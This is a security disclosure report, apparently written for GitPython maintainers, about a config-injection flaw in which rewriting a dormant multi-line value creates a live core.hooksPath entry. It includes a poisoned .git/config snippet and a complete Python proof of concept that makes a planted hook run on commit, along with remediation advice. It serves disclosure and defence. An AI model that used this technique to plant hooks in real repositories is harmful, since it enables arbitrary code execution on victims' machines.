- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
- **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)
- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)
## Reachability
GitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\r`/`\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.
That guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts.
The bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and "handles" any embedded newline in the value with `.replace("\n", "\n\t")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value.
`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.
## Root cause
`GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.
## Exploit path
1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:
```
[core]
zzz = "A\nhooksPath = ../evil-hooks\
"
```
No raw `\r`, `\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\nhooksPath = ../evil-hooks`, identically to GitPython's own reader.
2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value("user", "name", "Test User")`. This is one of the most ordinary operations a GitPython-based tool performs.
3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:
```
[core]
...
zzz = A
hooksPath = ../evil-hooks
```
4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write.
5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.
## Impact
Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` "Newline injection... enables RCE via core.hooksPath" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write.
## Preconditions
- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `<anything>\n<injected-key> = <injected-value>`. Realistic delivery:
1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, "repo" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.
2. **The documented shared-config `[include]` pattern** (`[include] path = ../<repo-tracked-file>`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).
3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`).
- No authentication/role requirement inside GitPython itself.
## Evidence
- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\n` escape into a real embedded LF.
- `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace("\n", "\n\t")` with no re-quoting.
- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.
- `git log -S"string_decode"`, `-S"write_section"`, `-S'replace("\n", "\n\t")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.
- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file.
## False-positive check (adversarial re-read)
- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.
- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.
- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery.
- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.
- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written).
## Remediation
Either (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file <path> --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.
## Confidence
High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.
## Proof-of-Concept source (`gitpython-002-poc.py`)
```python
#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).
This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>
Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
repo_dir = os.path.join(workdir, "repo")
hooks_dir = os.path.join(workdir, "evil-hooks")
marker = os.path.join(workdir, "PWNED_MARKER.txt")
for p in (repo_dir, hooks_dir):
os.makedirs(p, exist_ok=True)
if os.path.exists(marker):
os.remove(marker)
subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)
# Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
# inside [core] (before any other section). No raw CR/LF/NUL byte is
# written to disk here -- this is standard git config quoting +
# backslash-line-continuation, decoded by both real git and GitConfigParser
# into the Python string 'A\nhooksPath = ../evil-hooks'.
cfg_path = os.path.join(repo_dir, ".git", "config")
with open(cfg_path) as f:
original = f.read()
poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
# Insert right after the [core] header line so it lives in the same section.
new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
with open(cfg_path, "w") as f:
f.write(new_config)
# Confirm it's inert per real git before touching GitPython.
pre = subprocess.run(
["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
capture_output=True, text=True,
)
if pre.returncode == 0:
print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
sys.exit(2)
# Malicious hook: benign marker only.
hook_path = os.path.join(hooks_dir, "pre-commit")
with open(hook_path, "w") as f:
f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
os.chmod(hook_path, 0o755)
import git # gitpython under test
repo = git.Repo(repo_dir)
before = repo.config_reader().get_value("core", "zzz")
print("core.zzz before any GitPython write =", repr(before))
# ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
# action required, and it is something virtually every GitPython consumer
# does routinely (setting an option, adding a remote, updating a branch's
# tracking config, ...).
with repo.config_writer() as cw:
cw.set_value("user", "name", "Test User")
post = subprocess.run(
["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
capture_output=True, text=True,
)
if post.returncode != 0:
print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
sys.exit(1)
injected_path = post.stdout.strip()
print("core.hookspath is now LIVE after one unrelated write:", injected_path)
# Trigger the hook with a normal commit to prove it fires.
with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
f.write("change\n")
subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
subprocess.run(
["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
"commit", "-q", "-m", "trigger hook"],
check=True,
)
if os.path.isfile(marker):
with open(marker) as f:
content = f.read().strip()
print("VULNERABLE: hook fired, marker content =", content)
sys.exit(0)
else:
print("NOT VULNERABLE: hook did not fire")
sys.exit(1)
if __name__ == "__main__":
main()
```